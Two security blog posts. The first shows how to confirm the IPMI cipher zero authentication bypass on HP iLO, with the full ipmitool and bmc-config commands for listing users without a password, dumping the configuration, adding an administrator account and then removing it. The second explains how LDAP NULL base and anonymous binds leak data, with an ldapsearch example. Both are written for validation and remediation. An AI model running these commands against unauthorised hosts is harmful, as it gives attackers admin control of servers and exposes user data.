Hacking IPMI Cipher 0 Using Kali Linux

By Tony Lee

Introduction

So, you run a vulnerability scan and see a finding called: “IPMI Cipher Suite Zero Authentication Bypass”.  After reading the description, you realize that it sounds pretty bad.  Let’s take a few minutes to understand the protocol and vulnerability.  Then we will cover vulnerability validation and the repercussions of having this issue lurk on your network for an attacker to find.

Outline

• Understanding
• Wikipedia
• Nessus
• Original report
• Necessary Tools
• Validation and Consequences
• List users
• Pull the current config
• Add users
• Login to the WebUI
• Remove users
• Countermeasures
• Conclusion

Understanding

Wikipedia + Nessus = Decent understanding of the purpose and vulnerability:

Wikipedia

“The Intelligent Platform Management Interface (IPMI) is a standardized computer system interface used by system administrators for out-of-band management of computer systems and monitoring of their operation. It is a way to manage a computer that may be powered off or otherwise unresponsive by using a network connection to the hardware rather than to an operating system or login shell.

The development of this interface specification was led by Intel Corporation and is supported by more than 200 computer systems vendors.[1] Cisco, Dell, Hewlett-Packard, Intel, and NEC Corporation announced IPMI v1.0 on 1998-09-16, v1.5 on 2001-03-01, and v2.0 on 2004-02-14.”

Source:  http://en.wikipedia.org/wiki/Intelligent_Platform_Management_Interface

So what does this mean??  Think Dell’s DRAC or HP’s iLO--remote out of band management that can control hardware and provide a virtual desktop/terminal.

Nessus

Now that we understand what IPMI is used for, what is the problem with it?  Nessus has the short answer:

“The IPMI service listening on the remote system has cipher suite zero enabled, which permits logon as an administrator without requiring a password. Once logged in, a remote attacker may perform a variety of actions, including powering off the remote system.”

Source:  Nessus Vulnerability Scanner

Original Disclosure

These two sources give you a high level understanding of the issue, but if you want the gory details and an in-depth understanding of this vulnerability--see the original disclosure by Dan Farmer <zen@fish2.com>:  http://fish2.com/ipmi/cipherzero.html

If you want to know what you need to validate it using Kali, read on. :)

Necessary Tools

Since we like quick and easy validation, the operating system that we will be using to validate this finding is Kali Linux 1.0 (VMWare download).  This is available from www.kali.org/downloads/.

 

 Figure 1:  Kali Linux download page

Unfortunately the base install of Kali, does not include the tools we need, so let’s install them.

There are two tools that we will need:

ipmitool - located in the ipmitool package

bmc-config - located in the freeipmi-tools package (read caution below)

Caution:

At first, I used the following command:  “apt-get install freeipmi-tools”.  However, the problem is that the current debian package in our repository is only version 1.1.5, which does not support the -I option to specify CIPHER-SUITE-ID.  Thus we get an error message later if we try to add a user.

Error message encountered later if we do not perform a manual install:

bmc-config: invalid option -- 'I' Try `bmc-config --help' or `bmc-config --usage' for more information.

Freeipmi version 1.1.6 supports this option though, so we will have to get that manually.

The following commands will get you all the tools needed to validate this finding:

apt-get install ipmitool wget http://ftp.gnu.org/gnu/freeipmi/freeipmi-1.1.6.tar.gz tar -zxvf freeipmi-1.1.6.tar.gz cd freeipmi-1.1.6/ ./configure make make install

Validation and Consequences

So, how will we validate this issue?  There are progressively intrusive actions that we can perform to validate and understand the consequences.

List users

The easiest way to test the bypass is to list the users using the ipmitool:

If the issue is discovered on an HP iLO, try using Administrator as the default user present.  If the device is a DRAC, try using root.  If you are unsure of the device attempt to access it over HTTP or try either Administrator or root for the user.  For our example, we will run it against an iLO:

Syntax: ipmitool -I lanplus -C 0 -H <IP.AD.DR.ESS> -U <user> -P <password> user list Example: Tony@kali:~# ipmitool -I lanplus -C 0 -H 172.16.1.10 -U Administrator -P whateverPassword user list ID  Name         Callin  Link Auth    IPMI Msg   Channel Priv Limit 1   Administrator    true    false      true       ADMINISTRATOR 2   (Empty User)     true    false      false      NO ACCESS 3   (Empty User)     true    false      false      NO ACCESS 4   (Empty User)     true    false      false      NO ACCESS 5   (Empty User)     true    false      false      NO ACCESS 6   (Empty User)     true    false      false      NO ACCESS 7   (Empty User)     true    false      false      NO ACCESS 8   (Empty User)     true    false      false      NO ACCESS 9   (Empty User)     true    false      false      NO ACCESS 10  (Empty User)     true    false      false      NO ACCESS 11  (Empty User)     true    false      false      NO ACCESS 12  (Empty User)     true    false      false      NO ACCESS

Pull the current config

Before modifying the configuration file, we may want to pull a copy first.  This will pull the current remote configuration and write it to a text file called config.txt.

Tony@kali:~# /usr/local/sbin/bmc-config -D LAN_2_0 -I 0 -v -u Administrator -p WhateverPassword -h 172.16.1.10 -o -f config.txt

Add users

The next step after listing the users is to add a user in which we know the password.  Note:  The original advisory listed a configuration file that you could use as a template.  That configuration file did not work for me.  My test target is an iLO 4, so the best thing I could come up with was to pull the current configuration as shown above and take a snippet of that and use it to create a user.  My configuration file is shown below--but I took it from the current configuration to make sure it matched what the remote device was expecting.  Also, remember to uncomment the Password field if you copy and paste from your current configuration file--mine was commented (##) by default.

Using your favorite text editor (VIM is the best evar), create a text file called adduser.txt with the following content:

Section User2        ## Give Username        Username                                      TestUser        ## Give password or blank to clear. MAX 16 chars (20 chars if IPMI 2.0 supported).        Password                              StrongPassword1!        ## Possible values: Yes/No or blank to not set        Enable_User                                   Yes        ## Possible values: Yes/No        Lan_Enable_IPMI_Msgs                          Yes        ## Possible values: Yes/No        Lan_Enable_Link_Auth                          Yes        ## Possible values: Yes/No        Lan_Enable_Restricted_to_Callback             No        ## Possible values: Callback/User/Operator/Administrator/OEM_Proprietary/No_Access        Lan_Privilege_Limit                           Administrator        ## Possible values: 0-17, 0 is unlimited; May be reset to 0 if not specified        ## Lan_Session_Limit                                  ## Possible values: 0-17, 0 is unlimited; May be reset to 0 if not specified        ## Serial_Session_Limit                        EndSection

Now use the bmc-config tool to add that user using the --commit option:

Syntax: /usr/local/sbin/bmc-config -D LAN_2_0 -I 0 -v -u <user> -p <password> -h <IP.AD.DR.ESS> --commit -f adduser.txt Example: /usr/local/sbin/bmc-config -D LAN_2_0 -I 0 -v -u Administrator -p WhateverPassword -h 172.16.1.10 --commit -f adduser.txt Note:  I received the following error, but the WebUI login still worked: ERROR: Failed to commit `User2:Lan_Enable_Link_Auth': Invalid/Unsupported Config

List the users again to make sure your new user is present:

Syntax: ipmitool -I lanplus -C 0 -H <IP.AD.DR.ESS> -U <user> -P <password> user list Example: Tony@kali:~# ipmitool -I lanplus -C 0 -H 172.16.1.10 -U Administrator -P WhateverPassword user list ID  Name         Callin  Link Auth    IPMI Msg   Channel Priv Limit 1   Administrator    true    false      true       ADMINISTRATOR 2   TestUser         true    false      true       ADMINISTRATOR 3   (Empty User)     true    false      false      NO ACCESS 4   (Empty User)     true    false      false      NO ACCESS 5   (Empty User)     true    false      false      NO ACCESS 6   (Empty User)     true    false      false      NO ACCESS 7   (Empty User)     true    false      false      NO ACCESS 8   (Empty User)     true    false      false      NO ACCESS 9   (Empty User)     true    false      false      NO ACCESS 10  (Empty User)     true    false      false      NO ACCESS 11  (Empty User)     true    false      false      NO ACCESS 12  (Empty User)     true    false      false      NO ACCESS

Our new TestUser is present as an Administrator.  Let’s try it out!

Login to the WebUI

Now that you have a username and a password that you know--try logging into the Web UI.  

Figure 2:  Log into the Web UI with your newly created credentials.

After authenticating with your newly created credentials, you should have options similar to what is shown in the screenshot below.

Figure 3:  All of the options expanded.  Power and Remote Console can be the most interruptive and fun.

Try to access the Remote Console.  If the host at the remote console has an unlocked screen--you are in business!

Remove users

After the point has been proven, you can use the Administrator account to delete the user or you can try to delete it using the same method you used to add a user--the bmc-tool.

Using your favorite text editor (VIM is still the best evar), create a text file called removeuser.txt with the following content:

Section User2        ## Give Username        Username                                     (Empty User)          ## Give password or blank to clear. MAX 16 chars (20 chars if IPMI 2.0 supported).        ## Password        ## Possible values: Yes/No or blank to not set        Enable_User                                   No        ## Possible values: Yes/No        Lan_Enable_IPMI_Msgs                          No        ## Possible values: Yes/No        Lan_Enable_Link_Auth                          No        ## Possible values: Yes/No        Lan_Enable_Restricted_to_Callback             No        ## Possible values: Callback/User/Operator/Administrator/OEM_Proprietary/No_Access        Lan_Privilege_Limit                           No_Access        ## Possible values: 0-17, 0 is unlimited; May be reset to 0 if not specified        ## Lan_Session_Limit        ## Possible values: 0-17, 0 is unlimited; May be reset to 0 if not specified        ## Serial_Session_Limit EndSection

Now use the bmc-config tool to remove the user:

Syntax: /usr/local/sbin/bmc-config -D LAN_2_0 -I 0 -v -u <user> -p <password> -h <IP.AD.DR.ESS> --commit -f removeuser.txt Example: /usr/local/sbin/bmc-config -D LAN_2_0 -I 0 -v -u Administrator -p WhateverPassword -h 172.16.1.10 --commit -f removeuser.txt Note:  I received the following error, but the user was still disabled: ERROR: Failed to commit `User2:Lan_Enable_IPMI_Msgs': Invalid/Unsupported Config ERROR: Failed to commit `User2:Lan_Enable_Link_Auth': Invalid/Unsupported Config ERROR: Failed to commit `User2:Lan_Enable_Restricted_to_Callback': Invalid/Unsupported Config ERROR: Failed to commit `User2:Lan_Privilege_Limit': Invalid/Unsupported Config

List the users again to make sure your new user is gone:

Syntax: ipmitool -I lanplus -C 0 -H <IP.AD.DR.ESS> -U <user> -P <password> user list Example: Tony@kali:~# ipmitool -I lanplus -C 0 -H 172.16.1.10 -U Administrator -P whateverPassword user list ID  Name         Callin  Link Auth    IPMI Msg   Channel Priv Limit 1   Administrator    true    false      true       ADMINISTRATOR 2   (Empty           true    false      false      NO ACCESS 3   (Empty User)     true    false      false      NO ACCESS 4   (Empty User)     true    false      false      NO ACCESS 5   (Empty User)     true    false      false      NO ACCESS 6   (Empty User)     true    false      false      NO ACCESS 7   (Empty User)     true    false      false      NO ACCESS 8   (Empty User)     true    false      false      NO ACCESS 9   (Empty User)     true    false      false      NO ACCESS 10  (Empty User)     true    false      false      NO ACCESS 11  (Empty User)     true    false      false      NO ACCESS 12  (Empty User)     true    false      false      NO ACCESS

For some reason, I could not get it to say “(Empty User)” again, but the account no longer works.  If you figure it out, please feel free to leave the answer in the comments below.

Countermeasures

The first countermeasure is to find all of your systems with this issue.  You can use a scanner such as Nessus or you could also use a Metasploit auxiliary module using the following path:

auxiliary/scanner/ipmi/ipmi_cipher_zero

Just set your RHOSTS variable and you are off and running.

The actual fix appears simple in that IPMI v2 should not support cipher 0 in the first place.  As easy as this sounds, the manufacturers may not provide that level of control over the device--thus you may be stuck relying on their patches.  For example, for iLO the fix is the following:

“Upgrade iLO3 to version 1.60, or higher, and iLO4 to version 1.30, or higher, to address this vulnerability.”

Source:  http://osvdb.org/show/osvdb/93040

Your vendor and mileage may vary.

Conclusion

In this article, we examined how to quickly validate and explore the consequences of the IPMI Cipher 0 bypass vulnerability.  Special Thanks goes to Dan Farmer for his research in IPMI security and releasing his findings.  Thanks for reading and happy hacking.

Dangers of LDAP NULL Base and Bind

By Tony Lee

Introduction:

Lightweight Directory Access Protocol (LDAP) is a powerful and often critical component in most large networks.  But as you already know, centralized authentication and user management is a double-edged sword.  On one hand, managing all users and objects in a central location makes user management much more efficient—for example, there is less chance of forgotten user accounts and unenforceable password policies across multiple devices.  On the other hand, all attributes and eggs are in one basket—meaning a misconfigured basket could leave your eggs quite exposed.

Outline:

• Default findings
• Explanation
• Consequences
• Popular LDAP implementations
• How to validate
• Countermeasures
• Conclusion

Default findings

Regular use of vulnerability scanners is a critical part of a proactive layered defense.  The goal is that network administrators will find vulnerabilities and remediate them before an attacker has an opportunity to exploit them.  Most will agree that it makes sense to work your way down from the top to the bottom—starting with the high risk findings and moving to the lows.  This is great except that most organizations put too much weight in the default risk score.  Additionally, we notice that some organizations do not even bother examining or remediating anything that is not a high risk finding.  This article will hopefully stress the importance of regularly using a vulnerability scanner and remediating all findings—not just the high risk ones.

Why make this point?

Nessus and McAfee Vulnerability Manager (MVM) are two very popular and robust vulnerability scanners.  Both of them are able to find misconfigured LDAP servers and produce findings such as:

LDAP NULL BASE Search Access – Medium Risk (CVSS Base Score : 5.0)

LDAP Server NULL Bind Connection Information Disclosure – Medium Risk (CVSS Base Score : 5.0)

LDAP Crafted Search Request Server Information Disclosure – No risk

Explanation

If you perform regular vulnerability scans and discover that your LDAP server suffers from these issues, what do they mean?

NULL Base Search

An LDAP server that allows a NULL base search means that the attacker does not need to know a base object before querying.  A very good explanation can be found here:

“LDAP implementations are required to return some information as a result of a search. This information is required for LDAP clients to bind and interact with the directory.  When this event occurs, users can dump the base of the tree or issue a request without knowing the base object. LDAP implementations vary on how or whether it is possible or necessary to constrain or prevent NULL base requests. Some implementations use an access control list (ACL), others provide the ability using a utility program or user interface, and others may not be able to prevent these requests.”

Source:  http://www.iss.net/security_center/reference/vuln/ldap-nullbase.htm

NULL/Anonymous Bind

An LDAP server that allows anonymous binds does not require any type of credentialed authentication.  Specifically:

“The NULL bind entry allows a user to access the Lightweight Directory Access Protocol (LDAP) directory anonymously. An attacker could take advantage of the NULL bind entry to anonymously view files on the LDAP director.”

Source:  http://www.iss.net/security_center/reference/vuln/ldap-nullbind.htm

Note that as mentioned in our statement above, many organizations will not, or cannot (sometimes due to time or resource constraints) remediate anything lower than the high risk findings.  But these LDAP findings shown above default to medium risk, so what is the big deal?

Consequences

In the past few years, we cannot tell you how many LDAP findings we have encountered (just like the ones above).  However in a handful of instances these medium risk vulnerabilities turned into a high risk finding (maybe even ludicrous! – <insert popular nerd movie reference>).  The irony is that in both situations below, the organizations regularly used vulnerability scanners and were proactive about remediating the findings.  However, both organizations had resource and/or policy limitations which allowed them to only remediating the high risk findings.

Let’s examine the two instances:

Instance 1:

This is one of the most egregious misconfigurations we have seen to date, but others are not far off.  This group of misconfigured LDAP servers contained the following information:

• All users in the environment
• First and last name
• Email
• Default shell
• Home directory
• Username
• Password!

Figure 1:  Real-world scenario in which LDAP held the keys to the kingdom.

With this information we could log into any host as any user—thank you centralized authentication.

Instance 2:

This was not quite as bad as the first instance, but it is still significant as it exposed Personally Identifiable Information (PII) including first and last name, middle initial, personal phone numbers, usernames, titles, salary information, and last password change date.

Figure 2:  Personally Identifiable Information (PII) leakage via LDAP

Popular LDAP implementations

When deploying LDAP, you have a multitude of vendors to choose from.  Due to the prevalence of Microsoft Windows environments we mostly see Windows Active Directory, however, they are not the only game in town.  We often encounter a significant amount of Sun Directory Services, Novell Directory Services (NDS), and OpenLDAP.

Microsoft Windows Active Directory

Microsoft has historically not done very well in protecting LDAP data.  However, with each release of Windows they become more security conscious.  Windows 2000 had much of the same information disclosure issues that we have seen above.  Windows 2003 has had less of an issue with this unless intentionally misconfigured.  Finally, Windows Server 2008 has had even fewer issues.

Sun Directory Services

Often when we have an information disclosure issue, it is a misconfigured Sun Directory Services server.  When first binding to the LDAP server, it will generally tell you the version of LDAP running.  This is helpful when making note of trends.

Novell Directory Services (NDS)

We do not seem to encounter these as often as we did about 3 years ago as they are most likely losing market share.  However, the companies that do have them were at one point huge consumers of Novell and may have legacy applications around that are still utilizing this infrastructure.  As with the Sun Directory Services server, this usually synchronizes with Windows Active Directory.  So, even if you cannot query the data out of the Windows LDAP servers, you can get a copy from a misconfigured NDS.

OpenLDAP

While this is certainly an LDAP option, we have not run into many that have been misconfigured in a large enterprise.  Though, we would love to hear feedback from others who have more experience dealing with them.

How to validate

When testing these findings, we will generally use Softerra’s LDAP Browser (http://www.ldapbrowser.com/info_softerra-ldap-browser.htm).  It is a free Windows application that is read-only and object-limited compared to Softerra’s commercial product called LDAP Administrator.  Even though it is limited, it often efficiently completes the task of validating the severity of the LDAP findings.  The connection profile wizard will walk you through setting up connection options in less than 30 seconds as shown in the screenshots below:

Figure 3:  Softerra LDAP Browser setup for NULL base

Figure 4:  Softerra LDAP Browser anonymous bind

If you are more Linux oriented, you could use a number of Linux tools, including ldapsearch.  Its syntax would resemble the following:

ldapsearch -x -s base -b '' -H  ldap://my.lapdap.server "(objectClass=*)" "*" +  

Options explanation:

-x = simple authentication

-s = scope is defined as base

-b = search base

-H = specify LDAP uri

Countermeasures

Countermeasures here include restricting anonymous binds and NULL base searches.  However, as with any potential remediation this should be tested in a development or QA environment to ensure that there will be no adverse side effects.  Extra care should be taken when applications are utilizing LDAP for user authentication or information lookup.  Locking down the LDAP server without testing the applications could result in many angry users.

Conclusion

In this article, we have illustrated very common LDAP findings that may not get the attention they deserve based on their default risk rating.  We are not necessarily advocating raising the default risk rating because many times this check turns out to be less serious than the two scenarios highlighted above.  The problem is that machines are not always able to intelligently determine the severity of the findings.  This should indicate that companies and security practitioners that utilize vulnerability scanners need to be especially careful to validate and remediate as many of the findings as they can—not just the high risk ones.  They can then determine an appropriate risk management strategy.

Have you ever run into this finding and discovered gold?  Do you have any other “Medium/Low/Informational” findings then ended up being critical?  All comments are appreciated; feel free to leave them below.  Happy hacking!

Special Thanks

Dan Dumond

Dennis Hanzlik

Rudolph Araujo